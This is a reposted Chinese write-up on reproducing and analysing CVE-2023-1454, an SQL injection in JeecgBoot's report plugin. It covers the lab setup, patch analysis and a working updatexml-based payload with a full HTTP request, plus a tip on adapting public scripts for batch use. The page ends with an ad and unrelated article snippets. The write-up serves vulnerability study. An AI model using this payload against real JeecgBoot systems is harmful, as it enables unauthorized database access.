CVE-2023-1454注入分析复现

news2024/10/6 5:54:29

简介

JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。

影响版本

Jeecg-Boot<=3.5.1

环境搭建

idea+

后端源码:

https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip

前端源码:

https://github.com/jeecgboot/jeecgboot-vue3/archive/refs/tags/v3.5.0.zip

安装npm,安装nodejs

https://nodejs.org/dist/v18.16.1/node-v18.16.1-x64.msi

image-20230630100857383

image-20230630100954115

安装yarn

npm install -g yarn

image-20230630102534163

下载依赖

yarn install
yarn run serve  //起服务

image-20230630134805017

由于是前后端分离,需要数据库导入表,使用navicat直接导入即可

image-20230630134749348

后端服务端搭建,使用idea搭建导入项目,修改数据库配置

image-20230711102654282

配置server端npm服务

image-20230711102503802

配置好之后直接启动,访问

http://localhost:3100/login

image-20230711132237314

搭建成功

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞复现

前后端分离,后端端口8080 ,Payload:

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 128

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

image-20230711135427631

分析

漏洞产生点位于积木报表插件内,查看更新的3.5.1的版本更新

image-20230711132911295

更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法

jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则

image-20230711133319482

这个修复是针对于后端的SQL注入,/sys/duplicate/check

image-20230711135705607

目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包

image-20230711141329534

目前积木官方的jar包已升级。

关注积木5月份的升级日志

http://jimureport.com/doc/log

image-20230711141443739

小结

github上有师傅们的脚本,但是如果要批量使用的话建议在修改一下response的内容,仅仅只有操作失败的报错的话会存在大批量的报错。

image-20230711204157664

所有自定义的if判断的回显都建议修改一下,如有错误欢迎指出。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/763159.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Java SpringBoot Starter】开发一个自己的SpringBoot Starter组件,应该怎么写,需要什么配置

【Java SpringBoot Starter】开发一个自己的SpringBoot Starter组件&#xff0c;应该怎么写&#xff0c;需要什么配置 目录 1. 自定义的Starter&#xff0c;需要的Configuration 类 2. .properties文件的配置&#xff0c;或者yml文件的配置内容&#xff0c;注入bean对象中 …

行业报告 | AI 赋能,人形机器人产业提速,把握产业链受益机会(上)

文 | BFT机器人 01 核心观点 核心观点: 人形机器人产业发展仍处于 0-1 阶段&#xff0c;当前行业投资逻辑偏向事件驱动型的主题投资&#xff0c;但可落地服务场景的人形机器人成长空间非常广阔&#xff0c;值得长期关注。本文将围绕以下热点问题作出讨论: D当前节点人形机器人产…

GPT与人类:人工智能是否能够真正复制人类语言?

人类语言是一种复杂的系统&#xff0c;它不仅包含着无数单词和语法规则&#xff0c;更重要的是具有丰富的含义和上下文。这些语言特征涉及到常识、文化、情感和经验等方面&#xff0c;是人类在长期进化和文明发展中所积累起来的丰富知识和经验的体现。然而&#xff0c;人工智能…

百万级sql server数据库优化案例分享

在我们的IT职业生涯中&#xff0c;能有一次百万级的数据库的优化经历是很难得的&#xff0c;如果你遇到了恭喜你&#xff0c;你的职业生涯将会更加完美&#xff0c;如果你遇到并解决了&#xff0c;那么一定足够你炫耀很多年。 这里我将要分享一次完美的百万级数据库优化经历&am…

高效管理,轻松掌控项目进度

通过Zoho Projects以项目化的方式让企业中的一切任务井井有条&#xff0c;无论是个人事务、团队计划&#xff0c;还是跨部门协同。以下是七个步骤来实现高效的任务协作&#xff0c;使企业中的任务井井有条。 1、安排和跟进任务 通过Zoho Projects项目管理工具轻松创建任务&…

一文了解JNPF低代码开发平台

一、关于低代码 JNPF平台在提供无代码&#xff08;可视化建模&#xff09;和低代码&#xff08;高度可扩展的集成工具以支持跨功能团队协同工作&#xff09;开发工具上是独一无二的。支持简单、快速地构建及不断改进Web端应用程序&#xff0c;可为整个应用程序的生命周期提供全…

matplotlib笔记 sviewgui (鼠标拖拽绘制csv的matplotlib图)

1 先看一下效果 2 导入数据方式 2.1 select选择本地数据 import sviewgui.sview as sv sv.buildGUI()然后会跳出前面的那个GUI界面 2.2 在buildGUI的时候传入数据路径 import sviewgui.sview as sv sv.buildGUI(C:/Users/16000/tip.csv)2.3 参数是DataFrame import sview…

【三维重建】【深度学习】NeuS代码Pytorch实现--训练阶段代码解析(上)

【三维重建】【深度学习】NeuS代码Pytorch实现–训练阶段代码解析(上) 论文提出了一种新颖的神经表面重建方法&#xff0c;称为NeuS&#xff0c;用于从2D图像输入以高保真度重建对象和场景。在NeuS中建议将曲面表示为有符号距离函数(SDF)的零级集&#xff0c;并开发一种新的体绘…

使用wxPython和pillow开发拼图小游戏(一)

刚学习python&#xff0c;心血来潮&#xff0c;使用wxPython和pillow开了一个简单的拼图小游戏&#xff0c;大家分享一下 wxPython是Python语言的一套优秀的GUI图形库&#xff0c;在此项目里主要用来开发GUI客户页面&#xff1b;Pillow是一个非常好用的图像处理库&#xff0c;…

在 3ds Max 中对链模型进行摆放姿势处理

推荐&#xff1a; NSDT场景编辑器助你快速搭建可二次开发的3D应用场景 建模和“摆姿势”3D链可能看起来是一项繁琐的工作&#xff0c;但实际上可以通过使用阵列工具并将链中的链接视为骨骼来轻松完成。在本教程中&#xff0c;我将向您展示如何对链条进行建模&#xff0c;并通过…

FPGA-DFPGL22学习6-led

系列文章之 上章 FPGA-DFPGL22学习5-VERILOG 文章目录 系列文章之 上章前言一、原理图端口对应 二、程序设计三、程序编写四、仿真五、工程下载 前言 和原子哥一起学习FPGA 开发环境&#xff1a;正点原子 ATK-DFPGL22G 开发板 参考书籍&#xff1a; 《ATK-DFPGL22G之FPGA开…

linux定时删除三天前的binlog日志(docker)

docker的mysql的binlog日志目录 # docker inspect bb61c3c5a7e8shell脚本 写先一个删除的shell脚本 auto-del.sh 真正删除之前&#xff0c;先用下面的语句查下是不是要删除的文件&#xff0c;这里是删除三天前的日志 find /var/lib/docker/volumes/xxxx/_data/ -mtime 3 -n…

C++--day2(字符串、引用、函数重载、哑元)

​​​​​​​​​​​​​​​​​​​​​ ​​​​​​​

【多模态】2、NLTK | 自然语言处理工具包简介

文章目录 一、什么是 NLTK 包二、如何使用三、phrase grounding 使用 NLTK 示例 一、什么是 NLTK 包 NLTK 全称是 Natural Language Toolkit&#xff0c;自然语言处理工具包&#xff0c;是 NLP 领域中常用的 python 库 NLTK 的作用&#xff1a; 语料库文本预处理&#xff1a…

dp算法 力扣123 买卖股票的最佳时机 III

本文是Java代码编写 123. 买卖股票的最佳时机 III - 力扣&#xff08;LeetCode&#xff09; 一、题目详情 给定一个数组&#xff0c;它的第 i 个元素是一支给定的股票在第 i 天的价格。 设计一个算法来计算你所能获取的最大利润。你最多可以完成 两笔 交易。 注意&#xf…

基于R语言Meta分析与【文献计量分析、贝叶斯、机器学习等】多技术融合方法与应用

Meta分析是针对某一科研问题&#xff0c;根据明确的搜索策略、选择筛选文献标准、采用严格的评价方法&#xff0c;对来源不同的研究成果进行收集、合并及定量统计分析的方法&#xff0c;最早出现于“循证医学”&#xff0c;现已广泛应用于农林生态&#xff0c;资源环境等方面。…

【MySQL】约束(三)

&#x1f697;MySQL学习第三站~ &#x1f6a9;本文已收录至专栏&#xff1a;MySQL通关路 ❤️每章节附章节思维导图&#xff0c;文末附全文思维导图&#xff0c;感谢各位点赞收藏支持~# 一.引入 约束是作用于表中字段上的规则&#xff0c;用于限制存储在表中的数据。 使用约束可…

DuiLib基本流程解析

文章目录 1、DuiLib基本流程 1、DuiLib基本流程 duilib的基本流程如上图&#xff0c;通过解析一个xml文件&#xff0c;将文件中的内容渲染为窗口界面&#xff0c;这个解析过程由WindowImplBase类来完成。 基本框架如下&#xff1a; 首先在公共头文件中加入如下内容&#xff1a…

python与深度学习(一):ANN和手写数字识别

目录 1. 神经网络2. 线性回归3. 激活函数3.1 Sigmoid函数3.2 Relu函数3.3 Softmax函数 4. ANN(全连接网络)模型结构5. 误差函数5.1 均方差误差函数5.2 交叉熵误差函数 6. 手写数字识别实战6.1 工具说明6.2 导入相关库6.3 加载数据6.4 数据预处理6.5 数据处理6.6 构建网络模型6.…

MySQL 备份和还原

目录 一、数据备份的重要性 二、数据库备份类型 2.1 物理备份 2.2 逻辑备份 1.完全备份 2.差异备份 3.增量备份 三、常见的备份方法 3.1 物理冷备 3.2 专用备份工具 mysqldump 或 mysqlhotcopy 3.3 启用二进制日志进行增量备份 3.4 第三方工具备份 四、MySQL完全备份…